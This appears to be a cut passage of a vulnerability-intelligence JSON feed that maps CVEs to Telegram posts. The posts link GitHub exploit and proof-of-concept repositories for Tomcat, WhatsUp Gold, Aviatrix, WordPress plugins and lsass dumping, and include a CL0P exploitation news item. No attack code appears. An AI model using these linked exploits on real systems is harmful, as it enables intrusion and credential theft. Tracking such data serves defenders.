Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-01T03:33:21.000000Z"}, {"uuid": "6e3fa79d-9507-4d40-a095-a5ba4c6ddcd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/4051", "content": "#Github #Tools\n\nTool for reverse engineering macOS/OS X.\n\nhttps://github.com/steven-michaud/HookCase\n\nCVE-2024-50379: RCE through a race condition in Apache Tomcat\n\nPoC\nhttps://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc?tab=readme-ov-file\n\nawesome-linux-attack-forensics-purplelabs : Hands-on research around advanced Linux attacks, detection and forensics techniques and tools \n\nhttps://github.com/cr0nx/awesome-linux-attack-forensics-purplelabs\n\nA tool for automating cracking methodologies through Hashcat from the TrustedSec team.\n\nhttps://github.com/trustedsec/hate_crack\n\nCrystalDump : Dump lsass using only NTAPI functions by hand-crafting Minidump files (without MiniDumpWriteDump!!!) : \n\nhttps://github.com/ricardojoserf/NativeDump/tree/crystal-flavour  \n\n#HackersForum", "creation_timestamp": "2024-12-30T05:01:43.000000Z"}, {"uuid": "d6c4a118-d7e4-45d5-9cbb-d998b249b09a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/dilagrafie/4036", "content": "#Github #Tools\n\n[WACV 2025] Official implementation of \"Face Anonymization Made Simple\"\n\nhttps://github.com/hanweikung/face_anon_simple\n\nTomcat CVE-2024-50379/CVE-2024-56337 \u6761\u4ef6\u7ade\u4e89\u6587\u4ef6\u4e0a\u4f20exp\n\nhttps://github.com/SleepingBag945/CVE-2024-50379\n\nHackthebox Theme For Terminal - A collection of config files for linux focusing on hackthebox theme based on the labsand academy platform.\n\nhttps://github.com/botnetbuddies/hackthebox-themes\n\nA BloodHound collector for Microsoft Configuration Manager\n\nhttps://github.com/CrowdStrike/sccmhound\n\nThis page is a result of the ongoing hands-on research around advanced Linux attacks, detection and forensics techniques and tools.\n\nhttps://github.com/cr0nx/awesome-linux-attack-forensics-purplelabs\n\nCVE-2024-50379 Exploitation and POC\n\nhttps://github.com/v3153/CVE-2024-50379-POC\n\n#HackersForum", "creation_timestamp": "2024-12-27T03:14:32.000000Z"}, {"uuid": "96f7387f-4b1c-4b39-a160-aeed0373b002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "seen", "source": "https://t.me/dilagrafie/3963", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "creation_timestamp": "2024-12-08T03:37:01.000000Z"}, {"uuid": "a930fa74-8e8d-46ef-831d-3ad2701c5e37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2155", "content": "CVE-2024-5009 \n*\nProgress WhatsUp Gold SetAdminPassword Privilege Escalation\n*\nPOC", "creation_timestamp": "2024-07-09T10:16:06.000000Z"}, {"uuid": "ed25f08a-c4d4-4231-980b-8ecccccffea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2475", "content": "CVE-2024-50603-nuclei-poc \n*\nCritical Command Injection Vulnerability in Aviatrix Controller\n*\nPOC", "creation_timestamp": "2025-01-10T11:25:02.000000Z"}, {"uuid": "05c8abcd-cf79-4c26-ad1f-702364e51923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/proxy_bar/2445", "content": "tomcat CVE-2024-50379/CVE-2024-56337\n*\n\u041f\u0440\u043e\u043a\u0430\u0447\u0430\u043d\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f", "creation_timestamp": "2024-12-24T19:45:29.000000Z"}, {"uuid": "f8eaf36d-9bbf-44a7-a1a3-4b5b4228324b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50340", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2372", "content": "CVE-2024-50340 - Adapted EOS Exploit\n*\nCVE-2024-4985 / CVE-2024-9487 - GitHub Enterprise SAML Authentication Bypass exploit", "creation_timestamp": "2024-11-12T04:59:20.000000Z"}, {"uuid": "7190bb4f-1ecf-4efc-9a25-6a071ed8dd9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7803", "content": "#Github #Tools\n\nTool for reverse engineering macOS/OS X.\n\nhttps://github.com/steven-michaud/HookCase\n\nCVE-2024-50379: RCE through a race condition in Apache Tomcat\n\nPoC\nhttps://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc?tab=readme-ov-file\n\nawesome-linux-attack-forensics-purplelabs : Hands-on research around advanced Linux attacks, detection and forensics techniques and tools \n\nhttps://github.com/cr0nx/awesome-linux-attack-forensics-purplelabs\n\nA tool for automating cracking methodologies through Hashcat from the TrustedSec team.\n\nhttps://github.com/trustedsec/hate_crack\n\nCrystalDump : Dump lsass using only NTAPI functions by hand-crafting Minidump files (without MiniDumpWriteDump!!!) : \n\nhttps://github.com/ricardojoserf/NativeDump/tree/crystal-flavour  \n\n#HackersForum", "creation_timestamp": "2024-12-30T05:01:52.000000Z"}, {"uuid": "3d68a365-0be5-4ff0-bab2-aaa922b7920a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5084", "type": "seen", "source": "https://t.me/codeb0ss/1447", "content": "{VIP} CVE-2024-5084 - WP_HashForm < Remote Code Execution (RCE)\n\nNew unauthenticated vulnerable in WordPress hash form - Drag & from builder plugin, To upload File/Webshell & Execute the commands, \n\nType: RCE\n\nThis Completely Free and For VIP Users.\n\nTo Get VIP\n@uncodeboss", "creation_timestamp": "2024-09-17T21:29:50.000000Z"}, {"uuid": "e9a82ad8-5ad5-4793-a85d-aa7051ab39f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7946", "content": "#GitHub #Tools \n\nA tool to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Access Control Entries (ACEs).\n\nhttps://github.com/Leo4j/PowerDACL\n\nTomcat CVE-2024-50379/CVE-2024-56337 \u6761\u4ef6\u7ade\u4e89\u6587\u4ef6\u4e0a\u4f20exp\n\nhttps://github.com/SleepingBag945/CVE-2024-50379\n\nShort, but interesting list of sensitive data and bug bounty dorks.\n\nhttps://github.com/fatguru/dorks\n\nOpen source obfuscation tool for .NET assemblies\n\nhttps://github.com/obfuscar/obfuscar\n\nCrlfuzz tool vs my nuclei template:\ncrlfuzz only detected crlf in one target from list but my template finded more with GBK encoding payload also.\n\nhttps://github.com/coffinxp/nuclei-templates/blob/main/cRlf.yaml\n\n#Tools@dilagrafie", "creation_timestamp": "2025-01-31T11:35:51.000000Z"}, {"uuid": "0c6fbf86-43fd-4132-8a4e-98529ce8e4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://t.me/crackvaultde/478", "content": "", "creation_timestamp": "2026-07-20T21:00:07.388686Z"}, {"uuid": "2406f0d9-d81b-4470-8fd5-aec0786cd3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7132", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-01T03:55:12.000000Z"}, {"uuid": "875d9fbf-df10-4749-9970-26d18d787a40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/GrayHatsHack/7788", "content": "#Github #Tools\n\n[WACV 2025] Official implementation of \"Face Anonymization Made Simple\"\n\nhttps://github.com/hanweikung/face_anon_simple\n\nTomcat CVE-2024-50379/CVE-2024-56337 \u6761\u4ef6\u7ade\u4e89\u6587\u4ef6\u4e0a\u4f20exp\n\nhttps://github.com/SleepingBag945/CVE-2024-50379\n\nHackthebox Theme For Terminal - A collection of config files for linux focusing on hackthebox theme based on the labsand academy platform.\n\nhttps://github.com/botnetbuddies/hackthebox-themes\n\nA BloodHound collector for Microsoft Configuration Manager\n\nhttps://github.com/CrowdStrike/sccmhound\n\nThis page is a result of the ongoing hands-on research around advanced Linux attacks, detection and forensics techniques and tools.\n\nhttps://github.com/cr0nx/awesome-linux-attack-forensics-purplelabs\n\nCVE-2024-50379 Exploitation and POC\n\nhttps://github.com/v3153/CVE-2024-50379-POC\n\n#HackersForum", "creation_timestamp": "2024-12-27T03:14:48.000000Z"}, {"uuid": "a971fcfd-f69a-4b81-a80e-3ec1fe019cd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "seen", "source": "https://t.me/GrayHatsHack/7706", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "creation_timestamp": "2024-12-10T04:28:56.000000Z"}, {"uuid": "c72707cb-12c8-4921-ad71-f03c1609cc71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "seen", "source": "https://t.me/GrayHatsHack/7705", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "creation_timestamp": "2024-12-08T03:49:57.000000Z"}, {"uuid": "3d8f7cb7-47f0-4935-90f5-348e33807614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/cybersecs/3497", "content": "https://github.com/SleepingBag945/CVE-2024-50379", "creation_timestamp": "2024-12-25T16:19:23.000000Z"}, {"uuid": "413be8e3-fc80-4d35-be3b-69d94cf42318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://t.me/CyberSecurityIL/63555", "content": "\u05dc\u05e7\u05d1\u05d5\u05e6\u05ea \u05d4\u05ea\u05e7\u05d9\u05e4\u05d4 CL0P \u05e0\u05d2\u05de\u05e8 \u05d4\u05de\u05e7\u05d5\u05dd \u05d1\u05e9\u05e8\u05ea\u05d9\u05dd?\n\n\u05d1\u05e9\u05d1\u05d5\u05e2\u05d5\u05ea \u05d4\u05d0\u05d7\u05e8\u05d5\u05e0\u05d9\u05dd \u05e0\u05d5\u05e6\u05dc\u05d4 \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e8\u05d7\u05d1\u05d4 \u05d1\u05de\u05e2\u05e8\u05db\u05ea \u05d4\u05e2\u05d1\u05e8\u05ea \u05d4\u05e7\u05d1\u05e6\u05d9\u05dd \u05e9\u05dc \u05d7\u05d1\u05e8\u05ea Cleo (\u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd \u05d1\u05d6\u05d4 \u05d1\u05d0\u05e8\u05e5?)\n\u05e7\u05d1\u05d5\u05e6\u05d5\u05ea \u05ea\u05e7\u05d9\u05e4\u05d4 \u05e0\u05d9\u05e6\u05dc\u05d5 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05db\u05d3\u05d9 \u05dc\u05d2\u05e0\u05d5\u05d1 \u05de\u05d9\u05d3\u05e2 \u05d5\u05e0\u05e8\u05d0\u05d4 \u05db\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea CL0P \u05dc\u05e7\u05d7\u05d4 \u05d1\u05db\u05da \u05d7\u05dc\u05e7 \u05de\u05e8\u05db\u05d6\u05d9.\n\n\u05d4\u05e7\u05d1\u05d5\u05e6\u05d4 \u05de\u05e4\u05e8\u05e1\u05de\u05ea \u05d4\u05d5\u05d3\u05e2\u05d4 \u05dc\u05e4\u05d9\u05d4 \u05d1\u05e2\u05e7\u05d1\u05d5\u05ea \u05e0\u05d9\u05e6\u05d5\u05dc \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1-Cleo \u05d4\u05d9\u05d0 \u05de\u05d5\u05d7\u05e7\u05ea \u05db\u05e2\u05ea \u05d0\u05ea \u05db\u05dc \u05d4\u05de\u05d9\u05d3\u05e2 \u05d4\u05e7\u05d5\u05d3\u05dd \u05e9\u05d4\u05d9\u05d4 \u05dc\u05d4 \u05d1\u05e9\u05e8\u05ea\u05d9\u05dd \u05d5\u05de\u05e2\u05db\u05e9\u05d9\u05d5 \u05d4\u05d9\u05d0 \u05ea\u05e2\u05d1\u05d5\u05d3 \u05e8\u05e7 \u05e2\u05dd \u05d7\u05d1\u05e8\u05d5\u05ea \u05d7\u05d3\u05e9\u05d5\u05ea.\n\u05e0\u05e9\u05de\u05e2 \u05db\u05d0\u05d9\u05dc\u05d5 \u05d4\u05e7\u05d1\u05d5\u05e6\u05d4 \u05ea\u05e7\u05e4\u05d4 \u05dc\u05d0 \u05de\u05e2\u05d8 \u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05dd \u05d5\u05e6\u05e8\u05d9\u05db\u05d4 \u05dc\u05d4\u05ea\u05e8\u05db\u05d6 \u05d1\u05de\u05ea\u05e7\u05e4\u05d4 \u05d4\u05e0\u05d5\u05db\u05d7\u05d9\u05ea.\n\n\u05de\u05d6\u05db\u05d9\u05e8 \u05db\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea CL0P \u05d4\u05d9\u05d9\u05ea\u05d4 \u05d4\u05e7\u05d1\u05d5\u05e6\u05d4 \u05d4\u05de\u05e8\u05db\u05d6\u05d9\u05ea \u05e9\u05e0\u05d9\u05e6\u05dc\u05d4 \u05d1\u05e2\u05d1\u05e8 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1\u05de\u05e2\u05e8\u05db\u05ea \u05d4\u05e2\u05d1\u05e8\u05ea \u05d4\u05e7\u05d1\u05e6\u05d9\u05dd MOVEit \u05db\u05e9\u05d4\u05d9\u05d0 \u05ea\u05d5\u05e7\u05e4\u05ea \u05d5\u05d2\u05d5\u05e0\u05d1\u05ea \u05de\u05d9\u05d3\u05e2 \u05de\u05de\u05d0\u05d5\u05ea \u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05dd.\n\n\u05d4\u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05dc\u05d4\u05d2\u05e0\u05ea \u05e1\u05d9\u05d9\u05d1\u05e8 \u05d5\u05ea\u05e9\u05ea\u05d9\u05d5\u05ea \u05d1\u05d0\u05e8\u05d4\"\u05d1 \u05e4\u05d9\u05e8\u05e1\u05de\u05d4 \u05d4\u05d5\u05d3\u05e2\u05d4 \u05dc\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4 \u05db\u05d9 \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05de\u05e0\u05d5\u05e6\u05dc\u05ea \u05e2\"\u05d9 \u05e7\u05d1\u05d5\u05e6\u05d5\u05ea \u05ea\u05e7\u05d9\u05e4\u05d4.\n\u05de\u05d3\u05d5\u05d1\u05e8 \u05d1\u05d7\u05d5\u05dc\u05e9\u05d4 (CVE-2024-50623) \u05e9\u05d9\u05e6\u05d0 \u05dc\u05d4 \u05ea\u05d9\u05e7\u05d5\u05df \u05d0\u05da \u05d4\u05ea\u05d9\u05e7\u05d5\u05df \u05dc\u05d0 \u05d4\u05d9\u05d4 \u05de\u05d5\u05e9\u05dc\u05dd \u05d5\u05de\u05d0\u05d5\u05d7\u05e8 \u05d9\u05d5\u05ea\u05e8 \u05d9\u05e6\u05d0 \u05ea\u05d9\u05e7\u05d5\u05df \u05e0\u05d5\u05e1\u05e3.\n\nhttps://t.me/CyberSecurityIL/6238\n\n#\u05d3\u05dc\u05e3_\u05de\u05d9\u05d3\u05e2 #\u05db\u05d5\u05e4\u05e8", "creation_timestamp": "2024-12-15T19:37:14.000000Z"}, {"uuid": "cd45d14b-fae2-4481-9074-a6a6d33e5f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50381", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6430", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Team82 Claroty \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b OvrC \u043e\u0442 Snap One, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nOvrC \u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043d\u0435\u043f\u043e\u043b\u0430\u0434\u043e\u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 IoT \u0432 \u0441\u0435\u0442\u0438, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 500\u00a0000 \u043b\u043e\u043a\u0430\u0446\u0438\u044f\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u043d\u0430\u0440\u0443\u0448\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 OvrC, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043f\u0438\u0442\u0430\u043d\u0438\u044f, \u043a\u0430\u043c\u0435\u0440\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0434\u0440.\n\n\u041e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 OvrC Pro \u0438 OvrC Connect, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u043e\u0441\u044c\u043c\u0438 \u0438\u0437 \u043d\u0438\u0445 \u0432 \u043c\u0430\u0435 2023 \u0433\u043e\u0434\u0430, \u0430 \u0434\u043b\u044f \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0434\u0432\u0443\u0445 - 12 \u043d\u043e\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e-\u043e\u0431\u043b\u0430\u043a\u043e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0430\u0440\u044c\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442 \u0441\u043b\u0430\u0431\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0432\u043e\u0434\u0430, \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 